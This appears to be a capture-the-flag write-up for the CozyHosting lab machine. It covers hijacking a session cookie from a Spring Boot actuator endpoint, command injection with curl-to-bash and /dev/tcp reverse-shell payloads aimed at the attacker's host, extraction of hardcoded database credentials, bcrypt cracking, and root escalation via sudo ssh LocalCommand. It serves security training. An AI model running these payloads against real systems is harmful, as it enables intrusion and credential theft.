CozyHosting
15th August 2023 / Document No D23.100.248
                                                 Prepared By: k1ph4ru
                                                 Machine Author: commandercool
                                                 Difficulty: Easy
                                                 Classification: Official
Synopsis
CozyHosting is an easy-difficulty Linux machine that features a Spring Boot application. The
application has the Actuator endpoint enabled. Enumerating the endpoint leads to the discovery
of a user's session cookie, leading to authenticated access to the main dashboard. The application
is vulnerable to command injection, which is leveraged to gain a reverse shell on the remote
machine. Enumerating the application's JAR file, hardcoded credentials are discovered and used
to log into the local database. The database contains a hashed password, which once cracked is
used to log into the machine as the user josh . The user is allowed to run ssh as root , which is
leveraged to fully escalate privileges.
Skills Required
     Web Enumeration
     Linux Fundamentals
Skills Learned
     Spring Boot Enumeration
     Command Injection
     SSH Abuse Through Misconfiguration
Enumeration
Nmap
Let's run an Nmap scan to discover any open ports on the remote host.
  ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.230 | grep '^[0-9]' | cut -d '/' -f
  1 | tr '\n' ',' | sed s/,$//)
  nmap -p$ports -sV 10.10.11.230
The Nmap scan shows that SSH is listening on its default port, 22 and an Nginx HTTP web server
is running on port 80 .
HTTP
Upon browsing to port 80 , we are redirected to the domain cozyhosting.htb .
Let's add cozyhosting.htb to our /etc/hosts file with the corresponding IP address in order for
us to be able to access the domain in our browser.
  echo "10.10.11.230      cozyhosting.htb" | sudo tee -a /etc/hosts
On visiting the domain we see a website, which appears to be offering hosting services.
Let's fuzz the server for files and directories. We will be using ffuf with the following flags in our
scan:
  -w      Wordlist file path
  -u      Target URL
  -ic     Ignore wordlist comments
  -t      Number of concurrent threads
  ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-
  medium.txt:FFUZ -u http://cozyhosting.htb/FFUZ -ic -t 100
Here we see a few directories.
  index
  login
  admin
  logout
  error
Upon accessing the /login page and attempting to authenticate with common credentials, we
are unable to gain access to the application.
Browsing to /error returns an error page with a header stating Whitelabel Error Page .
Researching this error reveals that this application is using SpringBoot .
We can now run our scan again, this time using a Spring Boot -specific wordlist.
  ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt:FFUZ
  -u http://cozyhosting.htb/FFUZ -ic -t 100
We see the actuator endpoint is exposed, which is mainly used for debugging purposes in
Spring Boot applications. The Spring Boot actuator module provides a collection of built-in
endpoints that expose different types of information and operations on an application.
Foothold
Upon exploring the actuator endpoint, we find the /actuator/mappings endpoint. This
provides a detailed overview of all the mappings configured in the application. On browsing to the
endpoint, we see a JSON response containing information about the request mappings in place,
including the requests' methods (GET,POST,etc.) :
  http://cozyhosting.htb/actuator/mappings
Looking at the actuator/sessions endpoint, we are able to list all the active sessions and their
session ids.
  http://cozyhosting.htb/actuator/sessions
We see the session identifier for kanderson , which we can grab and set as a cookie in our
browser, using the developer console's Storage tab.
Upon attempting to access the /admin page, we are now presented with a dashboard and notice
that we are logged in as the user K. Anderson , who appears to be one of the customers of Cozy
Cloud .
  http://cozyhosting.htb/admin
Looking at the bottom of the page, we see a form that require's a hostname and username for
automatic patching. If we try submitting the form with the username test and the hostname
127.0.0.1 , we get an error back stating that the host was not added.
This error and the note above it suggest that the service attempts to use SSH to connect to the
host provided. The command run in the backend is therefore likely to be the following:
  ssh -i id_rsa username@hostname
Since the hostname validation is quite strict, we can try playing around with command injection
using the username field. We know that the username field does not accept white spaces, so to
bypass this we can use ${IFS} as a delimiter, which is a special shell variable that stands for
Internal Field Separator and defaults to a space (followed by a tab and a newline) in shells like
Bash and sh .
To test this, we will first start a local server and try to curl it from the target server.
  python3 -m http.server 7000
We then submit the form using the following payload in the username field, to see if we get a
callback:
  test;curl${IFS}http://10.10.14.49:7000;
Indeed, we observe a request to our local server, confirming the command injection.
With this in mind, we should be able to achieve remote code execution.
First, we create a reverse shell script and host it on our web server.
  echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.49/4444 0>&1' > rev.sh
The above one-liner will create a Bash script named rev.sh in our current working folder. This is
what we will use to initiate the reverse shell connection to our Netcat listener.
We then start our Netcat listener, which we will use to catch the reverse shell connection once
our script gets executed.
  nc -lnvp 4444
Let's now edit our payload to fetch our rev.sh script and execute it.
  test;curl${IFS}http://10.10.14.49:7000/rev.sh|bash;
Upon sending the request, a reverse shell as app is sent to our listener.
To get a more stable shell we can use the script command to create a new PTY with bash.
  script /dev/null -c bash
Lateral Movement
Our shell lands us in the /app directory, where we see a .jar (Java Archive) file named
cloudhosting-0.0.1.jar . We can extract it to the /tmp/app by using the -d flag in unzip ,
which specifies the destination folder.
  unzip -d /tmp/app cloudhosting-0.0.1.jar
Looking at the /tmp/app/BOOT-INF/classes/application.properties file, we see some
database credentials.
application.properties is a configuration file used in Spring Boot applications. It is typically
used to define various properties that configure the behaviour of the application; the properties
include database connection settings, logging configurations, and various other settings that the
application needs.
  cat /tmp/app/BOOT-INF/classes/application.properties
The file discloses the credentials postgres:Vg&nvzAQ7XxR , with which we can connect to the local
PostgreSQL instance.
  psql -h 127.0.0.1 -U postgres
Listing all the available databases, we observe the presence of the cozyhosting database.
  \list
We connect to the database by utilizing the \connect directive.
  \connect cozyhosting
Once we've successfully connected to the database, we can use the \dt command to list all the
available tables within the database.
  \dt
We proceed by utilizing the SELECT statement to view all the data present in the users table.
  select * from users;
Here, we have two password hashes: one for the user kanderson and the other for the user
Admin . We use hashid to identify the hash type:
  hashid $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
  Analyzing '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
  [+] Blowfish(OpenBSD)
  [+] Woltlab Burning Board 4.x
  [+] bcrypt
Considering that these hashes stem from a Spring Boot web application, the most likely
candidate is bcrypt . We save the administrator's hash to a file and attempt to crack it using
Hashcat , with mode 3200 for bcrypt .
  hashcat hash_file -m 3200 /usr/share/wordlists/rockyou.txt
We were able to successfully crack the password, obtaining the password manchesterunited .
  cat /etc/passwd
Examining the users present in the system, we observe a user named josh . We can attempt to
utilize the previously-discovered password to log in as the user josh .
  ssh josh@10.10.11.230
We are successfully logged in a user josh . The user flag can be obtained at
/home/josh/user.txt .
Privilege Escalation
Upon checking the sudo permissions for the user josh , we discover that they can run
/usr/bin/ssh as root .
  sudo -l
We can leverage this to gain a shell as root . Reading through the SSH documentation and this
link, we see that running the command with the -o flag allows us to specify the
PermitLocalCommand=yes option. This option is used to allow the execution of local commands
on the client machine after a successful SSH connection is established. The
LocalCommand=/bin/bash option specifies the local command that should be executed on the
machine after a successful SSH connection. In our case, we set it to execute /bin/bash , which
means that after connecting to the machine, a bash shell will be opened, and we will have a
session as root .
  sudo /usr/bin/ssh -v -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash'
  josh@127.0.0.1
The root flag can be found at /root/root.txt .